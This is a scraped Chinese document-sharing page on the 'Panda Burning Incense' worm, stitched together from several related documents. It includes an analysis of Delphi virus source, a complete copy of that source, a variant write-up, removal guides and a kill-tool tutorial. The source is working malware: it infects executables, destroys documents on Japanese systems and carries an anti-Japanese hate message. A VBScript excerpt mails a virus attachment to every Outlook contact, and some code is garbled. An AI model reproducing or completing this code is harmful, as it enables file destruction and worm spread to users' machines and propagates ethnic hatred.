熊猫烧香(源代码)

合集下载

关于计算机病毒的研究报告

关于计算机病毒的研究报告

关于计算机木马与病毒的研究报告专业:计算机应用学号:201336616106 姓名:陈威华【摘要】:近年来,随着科学技术水平的提高和社会经济的发展,计算机应用渗透到社会生活的各个领域,计算机病毒攻击与防范技术也在不断拓展。

本文简要分析计算机木马病毒的由来、特点及和木马潜伏,提出有针对性的安全防范措施。

首先声明,木马不同于病毒,病毒是可以自我复制并传播的,特洛伊木马只是一个“间谍”,隐藏在你的电脑里,成为一个隐蔽的后门。

别人可以通过特洛伊木马来控制你的电脑或者窃取账号信息等。

关于木马的由来:然而,计算机世界的特洛伊木马(Trojan)是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。

所谓后门就是一种可以为计算机系统秘密开启访问入口的程序。

一旦被安装,这些程序就能够使攻击者绕过安全程序进入系统。

该功能的目的就是收集系统中的重要信息,例如,财务报告、口令及信用卡号。

此外,攻击者还可以利用后门控制系统,使之成为攻击其它计算机的帮凶。

由于后门是隐藏在系统背后运行的,因此很难被检测到。

它们不像病毒和蠕虫那样通过消耗内存而引起注意。

它是指通过一段特定的程序(木马程序)来控制另一台计算机。

木马通常有两个可执行程序:一个是客户端,即控制端;另一个是服务端,即被控制端。

植入被种者电脑的是“服务器”部分,而所谓的“黑客”正是利用“控制器”进入运行了“服务器”的电脑。

运行了木马程序的“服务器”以后,被种者的电脑就会有一个或几个端口被打开,使黑客可以利用这些打开的端口进入电脑系统,安全和个人隐私也就全无保障了!木马的设计者为了防止木马被发现,而采用多种手段隐藏木马。

木马的服务一旦运行并被控制端连接,其控制端将享有服务端的大部分操作权限,例如给计算机增加口令,浏览、移动、复制、删除文件,修改注册表,更改计算机配置等。

随着病毒编写技术的发展,木马程序对用户的威胁越来越大,尤其是一些木马程序采用了极其狡猾的手段来隐蔽自己,使普通用户很难在中毒后发觉。

历史上经典的计算机病毒有哪些

历史上经典的计算机病毒有哪些

历史上经典的计算机病毒有哪些在当今历史上一些经典的计算机病毒有哪些呢?小编告诉你,有很多经典实例,下面由小编给你做出详细的历史上经典的计算机病毒介绍!希望对你有帮助!历史上经典的计算机病毒介绍:一、微软WMF漏洞被黑客广泛利用,多家网站被挂马二、敲诈者三、病毒假冒工行电子银行升级四、魔鬼波病毒爆发五、光大证券网站多款软件被捆绑木马六、威金病毒大闹互联网磁碟机、熊猫烧香、AV终结者、机器狗、灰鸽子,电脑中毒了解决方法:解释下用正版瑞星杀毒以后很多.exe的文件都被删除掉了很多病毒都是感染可执行程序的破坏后使文件损坏病毒一般不感染小型文件,病毒的源代码内有很多变量可控比如熊猫烧香的源代码(楼主去网上看看,蛮经典的--有分析)杀毒的时候提示:windows 无法访问指定设备,路径或文件。

您可能没有合适的权限访问这个项目。

只是由于病毒破坏了系统文件的缘故(建议备份重要文件后重新安装)而且卡卡助手经常提示阻止了一些网页后缀都是.down的!很明显这是木马下载器在向指定的网站下载病毒和木马重装系统后C盘的病毒就没有了,但是其他盘可能有病毒的残留。

但病毒已经不会随系统进程启动了。

下载360后便可清除病毒残留重新做系统也没用!各种版本的XP全试了!真郁闷~!引导区的病毒会导致这种情况,用瑞星最新更新的病毒库因该可以搞定重做系统没用,你用GHOST还原搞的吗?还是安装盘?如果使还原系统一般不可靠,病毒会感染还原软件我看你好像没什么重要文件,先把全部硬盘格式化后再安装系统比较理想。

系统装好后下个杀软全盘杀一遍(到安全模式中也行)就这么多了,因该可以解决看了“历史上经典的计算机病毒有哪些”文章的还看了:1.历史上的超强电脑病毒有哪些2.历史上十大计算机病毒都长什么样?3.有哪些是典型计算机病毒4.世界出名的计算机病毒有哪些5.哪些是典型计算机病毒。

熊猫烧香变种资料

熊猫烧香变种资料

病毒大小:22,886 字节加壳方式:UPack样本MD5:9749216a37d57cf4b2e528c027252062样本SHA1:5d3222d8ab6fc11f899eff32c2c8d3cd50cbd755发现时间:2006.11更新时间:2006.11关联病毒:传播方式:通过恶意网页传播,其它木马下载,可通过局域网、移动存储设备等传播技术分析==========又是“熊猫烧香”FuckJacks.exe的变种,和之前的变种一样使用白底熊猫烧香图标,病毒运行后复制自身到系统目录下:%System%\drivers\spoclsv.exe创建启动项:[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] "svcshare"="%System%\drivers\spoclsv.exe"修改注册表信息干扰“显示所有文件和文件夹”设置:[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanc ed\Folder\Hidden\SHOW ALL]"CheckedValue"=dword:00000000在各分区根目录生成副本:X:\setup.exeX:\autorun.infautorun.inf内容:[AutoRun]OPEN=setup.exeshellexecute=setup.exeshell\Auto\command=setup.exe尝试关闭下列窗口:QQKavQQA VVirusScanSymantec AntiVirusDubaWindowsesteem procsSystem Safety Monitor Wrapped gift Killer Winsock Expert msctls_statusbar32pjf(ustc)IceSword结束一些对头的进程:Mcshield.exe VsTskMgr.exe naPrdMgr.exe UpdaterUI.exe TBMon.exescan32.exe Ravmond.exe CCenter.exe RavTask.exeRav.exeRavmon.exe RavmonD.exe RavStub.exeKVXP.kxp KvMonXP.kxp KVCenter.kxp KVSrvXP.exe KRegEx.exe UIHost.exeTrojDie.kxp FrogAgent.exeLogo1_.exeLogo_1.exeRundl132.exe禁用一系列服务:Schedule sharedaccess RsCCenter RsRavMon RsCCenter RsRavMonKVWSCKVSrvXPkavsvcA VPMcAfeeFrameworkMcShieldMcTaskManagernavapsvcwscsvcKPfwSvcSNDSrvcccProxyccEvtMgrccSetMgrSPBBCSvcSymantec Core LCNPFMntorMskServiceFireSvc删除若干安全软件启动项信息:RavTaskKvMonXPkavKA VPersonal50McAfeeUpdaterUINetwork Associates Error Reporting ServiceShStatEXEYLive.exeyassistse使用net share命令删除管理共享:net share X$ /del /ynet share admin$ /del /ynet share IPC$ /del /y遍历目录,感染除以下系统目录外其它目录中的exe、com、scr、pif文件:X:\WINDOWSX:\WinntX:\System Volume InformationX:\Recycled%ProgramFiles%\Windows NT%ProgramFiles%\WindowsUpdate%ProgramFiles%\Windows Media Player%ProgramFiles%\Outlook Express%ProgramFiles%\Internet Explorer%ProgramFiles%\NetMeeting%ProgramFiles%\Common Files%ProgramFiles%\ComPlus Applications%ProgramFiles%\Messenger%ProgramFiles%\InstallShield Installation Information%ProgramFiles%\MSN%ProgramFiles%\Microsoft Frontpage%ProgramFiles%\Movie Maker%ProgramFiles%\MSN Gamin Zone将自身捆绑在被感染文件前端,并在尾部添加标记信息:.WhBoy{原文件名}.exe.{原文件大小}.与之前变种不同的是,这个病毒体虽然是22886字节,但是捆绑在文件前段的只有22838字节,被感染文件运行后会出错,而不会像之前变种那样释放出{原文件名}.exe的原始正常文件。

熊猫烧香病毒源代码

熊猫烧香病毒源代码

熊猫烧⾹病毒源代码熊猫烧⾹原代码熊猫烧⾹, ⼗六进制, Windows, 源代码, 字符串熊猫烧⾹源代码program Japussy;usesWindows, SysUtils, Classes, Graphics, ShellAPI{, Registry};constHeaderSize = 82432; //病毒体的⼤⼩IconOffset = EB8; //PE⽂件主图标的偏移量//在我的Delphi5 SP1上⾯编译得到的⼤⼩,其它版本的Delphi可能不同//查找2800000020的⼗六进制字符串可以找到主图标的偏移量{HeaderSize = 38912; //Upx压缩过病毒体的⼤⼩IconOffset = BC; //Upx压缩过PE⽂件主图标的偏移量//Upx 1.24W ⽤法: upx -9 --8086 Japussy.exe}IconSize = E8; //PE⽂件主图标的⼤⼩--744字节IconTail = IconOffset + IconSize; //PE⽂件主图标的尾部ID = 444444; //感染标记//垃圾码,以备写⼊Catchword = 'If a race need to be killed out, it must be Yamato. ' +'If a country need to be destroyed, it must be Japan! ' +'*** W32.Japussy.Worm.A ***';{$R *.RES}function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;stdcall; external 'Kernel32.dll'; //函数声明varTmpFile: string;Si: STARTUPINFO;Pi: PROCESS_INFORMATION;IsJap: Boolean = False; //⽇⽂操作系统标记{ 判断是否为Win9x }function IsWin9x: Boolean;varVer: TOSVersionInfo;beginResult := False;Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);if not GetVersionEx(Ver) thenExit;if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9xResult := True;end;{ 在流之间复制 }procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;dStartPos: Integer; Count: Integer);varsCurPos, dCurPos: Integer;beginsCurPos := Src.Position;dCurPos := Dst.Position;Src.Seek(sStartPos, 0);Dst.Seek(dStartPos, 0);Dst.CopyFrom(Src, Count);Src.Seek(sCurPos, 0);Dst.Seek(dCurPos, 0);end;{ 将宿主⽂件从已感染的PE⽂件中分离出来,以备使⽤ }procedure ExtractFile(FileName: string);varsStream, dStream: TFileStream;begintrysStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); trydStream := TFileStream.Create(FileName, fmCreate);trysStream.Seek(HeaderSize, 0); //跳过头部的病毒部分dStream.CopyFrom(sStream, sStream.Size - HeaderSize);finallydStream.Free;end;finallysStream.Free;end;exceptend;end;{ 填充STARTUPINFO结构 }procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);beginSi.cb := SizeOf(Si);Si.lpReserved := nil;Si.lpDesktop := nil;Si.lpTitle := nil;Si.dwFlags := STARTF_USESHOWWINDOW;Si.wShowWindow := State;Si.cbReserved2 := 0;Si.lpReserved2 := nil;end;{ 发带毒邮件 }procedure SendMail;begin//哪位仁兄愿意完成之?end;{ 感染PE⽂件 }procedure InfectOneFile(FileName: string);varHdrStream, SrcStream: TFileStream;IcoStream, DstStream: TMemoryStream;iID: LongInt;aIcon: TIcon;Infected, IsPE: Boolean;i: Integer;Buf: array[0..1] of Char;begintry //出错则⽂件正在被使⽤,退出if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是⾃⼰则不感染Exit;Infected := False;IsPE := False;SrcStream := TFileStream.Create(FileName, fmOpenRead);tryfor i := 0 to 8 do //检查PE⽂件头beginSrcStream.Seek(i, soFromBeginning);SrcStream.Read(Buf, 2);if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记beginIsPE := True; //是PE⽂件Break;end;end;SrcStream.Seek(-4, soFromEnd); //检查感染标记SrcStream.Read(iID, 4);if (iID = ID) or (SrcStream.Size < 10240) then //太⼩的⽂件不感染Infected := True;finallySrcStream.Free;end;if Infected or (not IsPE) then //如果感染过了或不是PE⽂件则退出Exit;IcoStream := TMemoryStream.Create;DstStream := TMemoryStream.Create;tryaIcon := TIcon.Create;try//得到被感染⽂件的主图标(744字节),存⼊流aIcon.ReleaseHandle;aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);aIcon.SaveToStream(IcoStream);finallyaIcon.Free;end;SrcStream := TFileStream.Create(FileName, fmOpenRead);//头⽂件HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try//写⼊病毒体主图标之前的数据CopyStream(HdrStream, 0, DstStream, 0, IconOffset);//写⼊⽬前程序的主图标CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);//写⼊病毒体主图标到病毒体尾部之间的数据CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);//写⼊宿主程序CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);//写⼊已感染的标记DstStream.Seek(0, 2);iID := 444444;DstStream.Write(iID, 4);finallyHdrStream.Free;end;finallySrcStream.Free;IcoStream.Free;DstStream.SaveToFile(FileName); //替换宿主⽂件DstStream.Free;end;except;end;end;{ 将⽬标⽂件写⼊垃圾码后删除 }procedure SmashFile(FileName: string);varFileHandle: Integer;i, Size, Mass, Max, Len: Integer;begintrySetFileAttributes(PChar(FileName), 0); //去掉只读属性FileHandle := FileOpen(FileName, fmOpenWrite); //打开⽂件trySize := GetFileSize(FileHandle, nil); //⽂件⼤⼩i := 0;Randomize;Max := Random(15); //写⼊垃圾码的随机次数if Max < 5 thenMax := 5;Mass := Size div Max; //每个间隔块的⼤⼩Len := Length(Catchword);while i < Max dobeginFileSeek(FileHandle, i * Mass, 0); //定位//写⼊垃圾码,将⽂件彻底破坏掉FileWrite(FileHandle, Catchword, Len);Inc(i);end;finallyFileClose(FileHandle); //关闭⽂件end;DeleteFile(PChar(FileName)); //删除之exceptend;end;{ 获得可写的驱动器列表 }function GetDrives: string;varDiskType: Word;D: Char;Str: string;i: Integer;beginfor i := 0 to 25 do //遍历26个字母beginD := Chr(i + 65);Str := D + ':\';DiskType := GetDriveType(PChar(Str));//得到本地磁盘和⽹络盘if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D;end;end;{ 遍历⽬录,感染和摧毁⽂件 }procedure LoopFiles(Path, Mask: string);vari, Count: Integer;Fn, Ext: string;SubDir: TStrings;SearchRec: TSearchRec;Msg: TMsg;function IsValidDir(SearchRec: TSearchRec): Integer;beginif (SearchRec.Attr <> 16) and ( <> '.') and ( <> '..') thenResult := 0 //不是⽬录else if (SearchRec.Attr = 16) and ( <> '.') and ( <> '..') thenResult := 1 //不是根⽬录else Result := 2; //是根⽬录end;beginif (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) thenbeginrepeatPeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑if IsValidDir(SearchRec) = 0 thenbeginFn := Path + ;Ext := UpperCase(ExtractFileExt(Fn));if (Ext = '.EXE') or (Ext = '.SCR') thenbeginInfectOneFile(Fn); //感染可执⾏⽂件endelse if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') thenbegin//感染HTML和ASP⽂件,将Base64编码后的病毒写⼊//感染浏览此⽹页的所有⽤户//哪位⼤兄弟愿意完成之?endelse if Ext = '.WAB' then //Outlook地址簿⽂件begin//获取Outlook邮件地址endelse if Ext = '.ADC' then //Foxmail地址⾃动完成⽂件begin//获取Foxmail邮件地址endelse if Ext = 'IND' then //Foxmail地址簿⽂件begin//获取Foxmail邮件地址endelsebeginif IsJap then //是倭⽂操作系统beginif (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') thenSmashFile(Fn); //摧毁⽂件end;end;end;//感染或删除⼀个⽂件后睡眠200毫秒,避免CPU占⽤率过⾼引起怀疑Sleep(200);until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);SubDir := TStringList.Create;if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) thenbeginrepeatif IsValidDir(SearchRec) = 1 thenSubDir.Add();until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);Count := SubDir.Count - 1;for i := 0 to Count doLoopFiles(Path + SubDir.Strings + '\', Mask);FreeAndNil(SubDir);end;{ 遍历磁盘上所有的⽂件 }procedure InfectFiles;varDriverList: string;i, Len: Integer;beginif GetACP = 932 then //⽇⽂操作系统IsJap := True; //去死吧!DriverList := GetDrives; //得到可写的磁盘列表Len := Length(DriverList);while True do //死循环beginfor i := Len downto 1 do //遍历每个磁盘驱动器LoopFiles(DriverList + ':\', '*.*'); //感染之SendMail; //发带毒邮件Sleep(1000 * 60 * 5); //睡眠5分钟end;end;{ 主程序开始 }beginif IsWin9x then //是Win9xRegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程else //WinNTbegin//远程线程映射到Explorer进程//哪位兄台愿意完成之?end;//如果是原始病毒体⾃⼰if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then InfectFiles //感染和发邮件else //已寄⽣于宿主程序上了,开始⼯作beginTmpFile := ParamStr(0); //创建临时⽂件Delete(TmpFile, Length(TmpFile) - 4, 4);TmpFile := TmpFile + #32 + '.exe'; //真正的宿主⽂件,多⼀个空格ExtractFile(TmpFile); //分离之FillStartupInfo(Si, SW_SHOWDEFAULT);CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,0, nil, '.', Si, Pi); //创建新进程运⾏之InfectFiles; //感染和发邮件end;end.。

熊猫烧香病毒剖析

熊猫烧香病毒剖析

伪装技术
熊猫烧香病毒会伪装成其他正常 的文件或程序,诱骗用户运行, 从而感染计算机系统。
03 熊猫烧香病毒的防范与应 对
防范措施
安装防病毒软件
选择可靠的品牌和版本,并及时更新病毒库。
提高网络安全意识
不随意打开未知来源的邮件和链接,不下载 和运行未知来源的文件和程序。
定期备份重要数据
以防数据被病毒感染或损坏。
案例二:熊猫烧香病毒的攻击目标与手法
熊猫烧香病毒主要攻击个人计算机和企业网络系统,通过感染操作系统和应用程序,导致系统运行缓 慢、蓝屏、死机等问题。
该病毒会修改系统注册表、劫持浏览器、禁用安全软件等手段,以实现长期驻留和控制用户计算机。
熊猫烧香病毒还会窃取用户个人信息,如账号密码、信用卡信息等,给用户的隐私和财产安全带来严重 威胁。
与其他蠕虫病毒的比较
传播方式
熊猫烧香病毒与蠕虫病毒相似,都是通过网络进行快速传播 。熊猫烧香病毒利用系统漏洞和用户不慎点击恶意链接等方 式感染计算机。
破坏性
熊猫烧香病毒在感染计算机后,会对系统文件进行篡改,导 致计算机出现蓝屏、频繁重启等问题。此外,熊猫烧香病毒 还会下载其他恶意软件,进一步损害系统安全。
自我保护机制
熊猫烧香病毒具有自我保护机制,通过修改系统 文件、注册表等手段,防止病毒被轻易删除或查 杀。
病毒的隐藏与反侦察技术
隐藏技术
熊猫烧香病毒采用多种隐藏技术, 如将自身嵌入到其他正常文件中、 使用加密和混淆等技术隐藏自身 代码等。
反侦察技术
熊猫烧香病毒会检测自身是否被 检测或查杀,一旦发现自身被检 测或查杀,会采取相应的反侦察 措施,如删除自身、破坏系统文 件等。
熊猫烧香病毒是一种网络攻击手段,与其他网络攻击如拒绝服务攻击、SQL注入攻击等有所不同。熊猫烧香病毒 主要针对个人计算机系统进行感染和破坏。

熊猫烧香病毒源代码!!

熊猫烧香病毒源代码!!
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max &lt; 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);

熊猫烧香病毒清除方法有哪些

熊猫烧香病毒清除方法有哪些

熊猫烧香病毒清除方法有哪些电脑病毒看不见,却无处不在,有时防护措施不够或者不当操作都会导致病毒入侵。

熊满烧香是之前很经典也是很可怕的一种病毒,那么具体有什么预防和处理办法呢?方法步骤1. 断开网络(必要)2. 结束病毒进程%System%\drivers\spoclsv.exe3. 删除病毒文件:c:\windows\system32\drivers\spoclsv.exe注意:打开C盘要右键-开打,否则仁兄就要功亏一篑,就要重复2的步骤!4. 修改注册表设置,恢复“显示所有文件和文件夹”选项功能:[Copy to clipboard]CODE:[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\C urrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]"CheckedValue"=dword:00000001本步骤针对病毒将显示隐藏文件禁用的情况5. 右键点击分区盘符,点击右键菜单中的“打开”进入分区根目录,删除根目录下的文件:X:\setup.exeX:\autorun.inf6. 删除病毒创建的启动项:[Copy to clipboard]CODE:[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run]"svcshare"="%System%\drivers\spoclsv.exe"7. 使用专杀工具进行全盘扫描,清除恢复被感染的exe文件推荐使用软件:NimayaKiller相关阅读:2018网络安全事件:一、英特尔处理器曝“Meltdown”和“Spectre漏洞”2018年1月,英特尔处理器中曝“Meltdown”(熔断)和“Spectre” (幽灵)两大新型漏洞,包括AMD、ARM、英特尔系统和处理器在内,几乎近20年发售的所有设备都受到影响,受影响的设备包括手机、电脑、服务器以及云计算产品。

熊猫烧香病毒之专杀工具的编写教程

熊猫烧香病毒之专杀工具的编写教程

熊猫烧香病毒之专杀工具的编写教程通过对熊猫烧香的行为分析,这里仅针对所得结果,来进行专杀工具的编写。

本节课我们会学习使用C++来写一个简单的“熊猫烧香”专杀系统。

实验目的:结合本篇文章的知识点,能够彻底掌握文章所讲述的编写杀毒软件的方法。

实验思路:1.理解专杀工具所需要实现的功能2.利用VC++编写专杀工具3.结合Process Monitor验证专杀工具实验步骤:1、病毒行为回顾与归纳这里我们首先回顾一下病毒的行为:**病毒行为1:**病毒本身创建了名为`spoclsv.exe`的进程,该进程文件的路径为:C:WINDOWSsystem32driversspoclsv.exe**病毒行为2:**在命令行模式下使用`net share`命令来取消系统中的共享。

**病毒行为3:**删除安全类软件在注册表中的启动项。

**病毒行为4:**在注册表:HKCUSoftwareMicrosoftWindowsCurrentVersionRun中创建svcshare用于在开机时启动位于`C:WINDOWSsystem32driversspoclsv.exe`的病毒程序。

**病毒行为5:**修改注册表,使得隐藏文件无法通过普通的设置进行显示,该位置为:HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL 病毒将`CheckedValue`的键值设置为了0。

**病毒行为6:**将自身拷贝到根目录,并命名为`setup.exe`,同时创建`autorun.inf`用于病毒的启动,这两个文件的属性都是“隐藏”。

**病毒行为7:**在一些目录中创建名为`Desktop_.ini`的隐藏文件。

**病毒行为8:**向外发包,连接局域网中其他机器。

纵观以上八点行为,这里需要说明的是,其中的第二点行为,由于我不知道用户计算机在中毒前的设置,因此这条我打算忽略。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

(一) 主程序段分析原“熊猫烧香”病毒“源码”主程序段代码如下所示:{==================主程序开始====================}beginif IsWin9x then //是Win9xRegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程else //WinNTbegin//远程线程映射到Explorer进程//哪位兄台愿意完成之?end;//如果是原始病毒体自己if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 thenInfectFiles //感染和发邮件else //已寄生于宿主程序上了,开始工作beginTmpFile := ParamStr(0); //创建临时文件……....Line nDelete(TmpFile, Length(TmpFile) - 4, 4);TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格ExtractFile(TmpFile); //分离之FillStartupInfo(Si, SW_SHOWDEFAULT);CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,0, nil, '.', Si, Pi); //创建新进程运行之……....Line n+7InfectFiles; //感染和发邮件end;end.对于代码:RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程虽然源码提供者省略了相应实现,但这是比较基本的编程实现。

通过把自身注册为服务进程,可以使自己随着系统的启动一起启动。

当然,还可以进一步施加技巧而使自己从Windows 任务管理器下隐藏显示。

然后,上面代码在判断当前操作系统不是Win9X后,提到“远程线程映射到Explorer进程”一句。

其实这里所用Jeffrey Richter所著《Windows 95 Windows NT 3.5 高级编程技术》(后多次更句)一书第16章“闯过进程的边界”中详细讨论的“使用远程线来注入一个DLL”技术。

如今,只要上网GOOGLE一下“远程线程映射技术”即出现大量实片断,故在不再赘述。

那么,它(包括其它许多病毒)为什么要映射到Explorer进程呢?原来,Explorer(注:Windows资源管理器的名字也是Explorer.exe,但并不是一回事!)进程在Windows系统中举足轻重—Windows在启动过程中都会随同激活一个名为Explorer.exe的进程。

它用于管理Windows图形外壳,包括开始菜单、任务栏、桌面和文件管理等,损坏或删除该程序会导致Windows图形界面无法适用。

注:这并不是说Windows的运行根本离开它;但删除掉这个程序后,整个Windows桌面无法再用,而对于普通用户也感觉到好象法再使用Windows了。

另注:VCL函数Paramstr(n)的作用是返回当前可执行文件指定的命令行参数;当n=0时,返回当前可执行文件名(包含完整的路径)。

因此,上面代码中从n行到第n+7行的作用是,从已感染的宿主程序中分离出原无染程序代码部分,并启动此无染程序。

这是病毒的重要伪装手段之一:不是一下子使宿主中毒瘫痪,而是感染宿主使之达到继续传播目标的同时,启动另一个“原”无毒程序(实际上文件名已经改变,加了一个空格字符)。

接下来,让我们入分析上面流程中“InfectFiles(感染文件)”部分的执行过程。

(二) 具体感染文件的过程这个子过程的源码如下所示:{遍历磁盘上所有的文件并实际感染}procedure InfectFiles;varDriverList: string;i, Len: Integer;beginif GetACP = 932 then //日文操作系统。

函数GetACP用于检索系统所用语言IsJap := True; //去死吧!DriverList := GetDrives; //得到可写的磁盘列表Len := Length(DriverList);while True do //死循环beginfor i := Len downto 1 do //遍历每个磁盘驱动器LoopFiles(DriverList + ':', '*.*'); //感染之SendMail; //发带毒邮件Sleep(1000 * 60 * 5); //睡眠5分钟—病毒常用简单诈骗术之一end;end;{ === InfectFiles }这里的核心是后面的死循环。

先让我们分析较简单的“发带毒邮件”部分。

从后面病毒具体遍历可用磁盘并执行具体感染过程可知,此过程中,它会取得安装在本机中的常用邮件客户端程序(Outlook,FoxMail)相应电邮件信息。

其目的是:取得重要邮箱地址及相应密码,然后向这些邮件地址群发带毒的电子邮件,从而达到利用网络传播自身的目的。

下面是从网上摘录的一段VBScript脚本:Set objOA=Wscript.CreateObject("Outlook.Application")'创建一个OUTLOOK应用的对象Set objMapi=objOA.GetNameSpace("MAPI")'取得MAPI名字空间For i=1 to objMapi.AddressLists.Count'遍历地址簿Set objAddList=objMapi.AddressLists(i)For j=1 To objAddList. AddressEntries.CountSet objMail=objOA.CreateItem (0)objMail.Recipients.Add (objAddList. AddressEntries (j))'取得收件人邮件地址objMail.Subject="你好!"'设置邮件主题objMail.Body="这次给你的附件,是我的新文档!"'设置信件内容objMail.Attachments.Add(“c:virus.vbs")'把自己作为附件扩散出去objMail.Send'发送邮件NextNextSet objMapi=NothingSet objOA=Nothing注意,这段代码是非常基本的使用VBScript脚本操作Outlook COM对象,并进而达到通编程方式操作Outlook发送特定邮件的编程技术。

其中,最关键的一句在于:objMail.Attachments.Add(“c:virus.vbs")在此,任何一名病毒制作者都可以把这个附件文件名修改为新病毒文件自身!(三) LoopFiles子过程分析这个子程序的功能是:遍历本地磁盘,并详细实施感染及破坏过程。

在此列出其关键代码片断:{ 遍历目录,感染和摧毁文件 }procedure LoopFiles(Path, Mask: string); var//……局部变量定义Msg: TMsg;// IsValidDir判断指定对象是否是“目录”……function IsValidDir(SearchRec: TSearchRec): Integer;beginif (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) thenbeginrepeatPeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑if IsValidDir(SearchRec) = 0 thenbeginFn := Path + ;Ext := UpperCase(ExtractFileExt(Fn));if (Ext = '.EXE') or (Ext = '.SCR') then //Line XbeginInfectOneFile(Fn); //感染可执行文件endelse if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') thenbegin//感染HTML和ASP文件,将Base64编码后的病毒写入//感染浏览此网页的所有用户//哪位大兄弟愿意完成之?endelse if Ext = '.WAB' then //Outlook地址簿文件begin//获取Outlook邮件地址endelse if Ext = '.ADC' then //Foxmail地址自动完成文件begin//获取Foxmail邮件地址endelse if Ext = 'IND' then //Foxmail地址簿文件begin//获取Foxmail邮件地址endelsebeginif IsJap then //是倭文操作系统beginif (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or……thenSmashFile(Fn); //摧毁文件end;end;end;//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑Sleep(200);until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);SubDir := TStringList.Create;if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) thenbeginrepeatif IsValidDir(SearchRec) = 1 thenSubDir.Add();until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);Count := SubDir.Count - 1;for i := 0 to Count doLoopFiles(Path + SubDir.Strings + '', Mask);FreeAndNil(SubDir);end;此子过程是典型的遍历本机中所有可用盘中的所有子目录下的所有文件并施行相应操作编码。

相关文档
最新文档